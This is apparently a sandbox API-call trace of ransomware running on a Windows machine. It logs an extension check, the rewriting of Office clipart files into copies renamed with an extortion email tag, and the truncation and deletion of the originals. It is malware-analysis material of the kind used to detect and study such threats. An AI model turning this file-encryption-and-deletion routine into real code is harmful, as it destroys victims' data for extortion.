	[0178.649] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x318, lpOverlapped=0x0) returned 1
	[0178.940] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x320, lpOverlapped=0x0) returned 1
	[0178.941] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.941] WriteFile (in: hFile=0x5b4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.941] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.942] CloseHandle (hObject=0x5b4) returned 1
	[0178.942] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.942] SetEndOfFile (hFile=0x580) returned 1
	[0178.945] CloseHandle (hObject=0x580) returned 1
	[0178.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.731] lstrlenW (lpString=".doc") returned 4
	[0179.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.731] lstrlenW (lpString=".docx") returned 5
	[0179.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.731] lstrlenW (lpString=".pdf") returned 4
	[0179.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.731] lstrlenW (lpString=".xls") returned 4
	[0179.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.731] lstrlenW (lpString=".xlsx") returned 5
	[0179.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.731] lstrlenW (lpString=".ppt") returned 4
	[0179.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.732] lstrlenW (lpString=".zip") returned 4
	[0179.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.732] lstrlenW (lpString=".rar") returned 4
	[0179.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString=".bz2") returned 4
	[0179.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString=".7z") returned 3
	[0179.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.732] lstrlenW (lpString=".dbf") returned 4
	[0179.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.732] lstrlenW (lpString=".1cd") returned 4
	[0179.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.732] lstrlenW (lpString=".jpg") returned 4
	[0179.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.732] lstrlenW (lpString=".doc") returned 4
	[0179.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.732] lstrlenW (lpString=".docx") returned 5
	[0179.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.732] lstrlenW (lpString=".pdf") returned 4
	[0179.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.733] lstrlenW (lpString=".xls") returned 4
	[0179.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.733] lstrlenW (lpString=".xlsx") returned 5
	[0179.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.733] lstrlenW (lpString=".ppt") returned 4
	[0179.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.733] lstrlenW (lpString=".zip") returned 4
	[0179.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.733] lstrlenW (lpString=".rar") returned 4
	[0179.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.733] lstrlenW (lpString=".bz2") returned 4
	[0179.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.733] lstrlenW (lpString=".7z") returned 3
	[0179.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.733] lstrlenW (lpString=".dbf") returned 4
	[0179.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.733] lstrlenW (lpString=".1cd") returned 4
	[0179.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0179.733] lstrlenW (lpString=".jpg") returned 4
	[0179.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.734] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0179.734] lstrlenW (lpString="IN00557_.WMF") returned 12
	[0179.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.017] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=9172) returned 1
	[0180.029] CloseHandle (hObject=0x514) returned 1
	[0180.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220
	[0180.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.041] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.041] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0180.042] GetLastError () returned 0x0
	[0180.042] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x23d4, lpOverlapped=0x0) returned 1
	[0180.047] WriteFile (in: hFile=0x46c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x23e0, lpOverlapped=0x0) returned 1
	[0180.048] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.048] WriteFile (in: hFile=0x46c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.048] SetEndOfFile (hFile=0x46c) returned 1
	[0180.048] CloseHandle (hObject=0x46c) returned 1
	[0180.049] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.049] SetEndOfFile (hFile=0x514) returned 1
	[0180.051] CloseHandle (hObject=0x514) returned 1
	[0180.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1
	[0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.052] lstrlenW (lpString=".doc") returned 4
	[0180.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString=".docx") returned 5
	[0180.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0180.052] lstrlenW (lpString=".pdf") returned 4
	[0180.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString=".xls") returned 4
	[0180.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.052] lstrlenW (lpString=".xlsx") returned 5
	[0180.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0180.053] lstrlenW (lpString=".ppt") returned 4
	[0180.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.053] lstrlenW (lpString=".zip") returned 4
	[0180.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.053] lstrlenW (lpString=".rar") returned 4
	[0180.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString=".bz2") returned 4
	[0180.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString=".7z") returned 3
	[0180.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.053] lstrlenW (lpString=".dbf") returned 4
	[0180.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.053] lstrlenW (lpString=".1cd") returned 4
	[0180.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.053] lstrlenW (lpString=".jpg") returned 4
	[0180.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.053] lstrlenW (lpString=".doc") returned 4
	[0180.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString=".docx") returned 5
	[0180.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0180.053] lstrlenW (lpString=".pdf") returned 4
	[0180.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.053] lstrlenW (lpString=".xls") returned 4
	[0180.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.053] lstrlenW (lpString=".xlsx") returned 5
	[0180.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0180.054] lstrlenW (lpString=".ppt") returned 4
	[0180.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.054] lstrlenW (lpString=".zip") returned 4
	[0180.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.054] lstrlenW (lpString=".rar") returned 4
	[0180.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.054] lstrlenW (lpString=".bz2") returned 4
	[0180.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.054] lstrlenW (lpString=".7z") returned 3
	[0180.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.054] lstrlenW (lpString=".dbf") returned 4
	[0180.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.054] lstrlenW (lpString=".1cd") returned 4
	[0180.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0180.054] lstrlenW (lpString=".jpg") returned 4
	[0180.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.054] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.054] lstrlenW (lpString="J0086424.WMF") returned 12
	[0180.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.055] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17016) returned 1
	[0180.055] CloseHandle (hObject=0x514) returned 1
	[0180.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220
	[0180.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.056] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.056] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0180.057] GetLastError () returned 0x0
	[0180.057] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4278, lpOverlapped=0x0) returned 1
	[0180.059] WriteFile (in: hFile=0x46c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4280, lpOverlapped=0x0) returned 1
	[0180.060] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.060] WriteFile (in: hFile=0x46c, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.060] SetEndOfFile (hFile=0x46c) returned 1
	[0180.060] CloseHandle (hObject=0x46c) returned 1
	[0180.061] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.061] SetEndOfFile (hFile=0x514) returned 1
	[0180.064] CloseHandle (hObject=0x514) returned 1
	[0180.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1
	[0180.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.065] lstrlenW (lpString=".doc") returned 4
	[0180.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.065] lstrlenW (lpString=".docx") returned 5
	[0180.065] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.065] lstrlenW (lpString=".pdf") returned 4
	[0180.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.065] lstrlenW (lpString=".xls") returned 4
	[0180.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.065] lstrlenW (lpString=".xlsx") returned 5
	[0180.065] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.065] lstrlenW (lpString=".ppt") returned 4
	[0180.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.065] lstrlenW (lpString=".zip") returned 4
	[0180.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.065] lstrlenW (lpString=".rar") returned 4
	[0180.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.065] lstrlenW (lpString=".bz2") returned 4
	[0180.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.065] lstrlenW (lpString=".7z") returned 3
	[0180.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.065] lstrlenW (lpString=".dbf") returned 4
	[0180.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.066] lstrlenW (lpString=".1cd") returned 4
	[0180.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.066] lstrlenW (lpString=".jpg") returned 4
	[0180.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.066] lstrlenW (lpString=".doc") returned 4
	[0180.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString=".docx") returned 5
	[0180.066] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.066] lstrlenW (lpString=".pdf") returned 4
	[0180.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString=".xls") returned 4
	[0180.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.066] lstrlenW (lpString=".xlsx") returned 5
	[0180.066] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.066] lstrlenW (lpString=".ppt") returned 4
	[0180.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.066] lstrlenW (lpString=".zip") returned 4
	[0180.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.066] lstrlenW (lpString=".rar") returned 4
	[0180.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString=".bz2") returned 4
	[0180.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.066] lstrlenW (lpString=".7z") returned 3
	[0180.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.066] lstrlenW (lpString=".dbf") returned 4
	[0180.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.067] lstrlenW (lpString=".1cd") returned 4
	[0180.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0180.067] lstrlenW (lpString=".jpg") returned 4
	[0180.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.067] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.067] lstrlenW (lpString="J0086426.WMF") returned 12
	[0180.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.067] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21782) returned 1
	[0180.068] CloseHandle (hObject=0x514) returned 1
	[0180.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220
	[0180.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.068] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.068] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.362] GetLastError () returned 0x0
